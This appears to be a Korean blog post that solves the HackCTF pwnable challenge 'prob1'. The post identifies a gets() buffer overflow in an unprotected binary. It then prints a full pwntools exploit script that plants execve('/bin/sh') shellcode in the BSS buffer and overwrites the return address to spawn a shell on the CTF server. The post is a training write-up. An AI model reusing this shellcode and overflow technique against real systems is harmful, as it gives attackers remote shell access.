반응형
Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- pwnable
- vcruntime.dll
- 바이트 오더
- 포너블
- apphelp.dll
- 시스템해킹
- Windows Kernel Driver
- packet capture
- pcap packet capture
- IAT Hooking
- Network Byte Order
- 네트워크 바이트 오더
- windows kernel debugging
- 해킹
- Windows Kernel
- ucrtbase.dll
- 윈도우 커널
- C언어 패킷캡쳐
- pcap packet
- 윈도우 커널 디버깅
- 개발 환경 준비
- HackCTF
- arudino
- vcruntime140.dll
- 개발하기
- Windows
- Msvcrt.dll
- hacking
- 윈도우 커널 드라이버
- Windows Kernel Debug
Archives
- Today
- Total
미친해커
[HackCTF] Pwnable : 내 버퍼가 흘러넘친다!!! (prob1) 본문
반응형
IDA로 디스어셈블을 한번 해보자
이번에는 main 함수 외에 다른 함수는 보이지 않는다. 지역변수 s가 20 (0x14) 바이트 할당이 되어 있고 name은 전역변수로 BSS 영역에 할당되어 있다. gets 함수에서 Buffer OverFlow가 발생 main 함수의 ret 주소를 조작할 수 있을 것으로 보인다.
적용된 보호 기법을 확인해보니 바이너리에는 아무런 보호 기법도 적용되어 있지 않다. 그렇다는 건 바이너리 내에 모든 영역에 읽기, 쓰기, 실행 권한이 존재하며 주소도 변하지 않는다는 말이다.
위와 같이 read 함수가 실행되었을 때 shellcode 코드를 BSS 영역에 작성한다.
그 후 gets 함수에서 Buffer OverFlow를 발생시켜 main 함수의 ret 주소를 BSS (name) 주소로 덮어쓴다. 그러면 main 함수가 끝날 때 BSS 주소로 점프하여 shellcode가 실행되면서 Shell을 따낼 수 있게 된다. exploit 코드는 이렇게 된다.
# file : prob1.py
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3003)
e = ELF('prob1')
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'
print(p.recvrepeat(1))
p.sendline(shellcode)
BSS = p32(e.bss())
payload = 'A' * 24 + BSS
print(p.recvrepeat(1))
p.sendline(payload)
p.interactive()
Shell이 열리면서 flag를 딸 수 있다.
이번 문제는 checksec을 활용하여 바이너리에 적용된 보호 기법을 확인하고 보호 기법에 맞춰서 공격을 진행하는 문제였다. 이처럼 shellcode를 삽입하고 ret 주소를 shellcode가 삽입된 주소로 덮어씌워 Shell 따내는 공격 방법도 있다는 것을 잊지 않기를 바란다.
반응형
'Hacking > HackCTF' 카테고리의 다른 글
[HackCTF] Pwnable : x64 Simple_size_BOF (Simple_size_bof) (0) | 2021.06.19 |
---|---|
[HackCTF] Pwnable : x64 Buffer Overflow (64bof_basic) (0) | 2021.06.18 |
[HackCTF] Pwnable : Basic_FSB (0) | 2021.06.17 |
[HackCTF] Pwnable : Basic_BOF #2 (0) | 2021.06.16 |
[HackCTF] Pwnable : Basic_BOF #1 (0) | 2021.06.16 |
Comments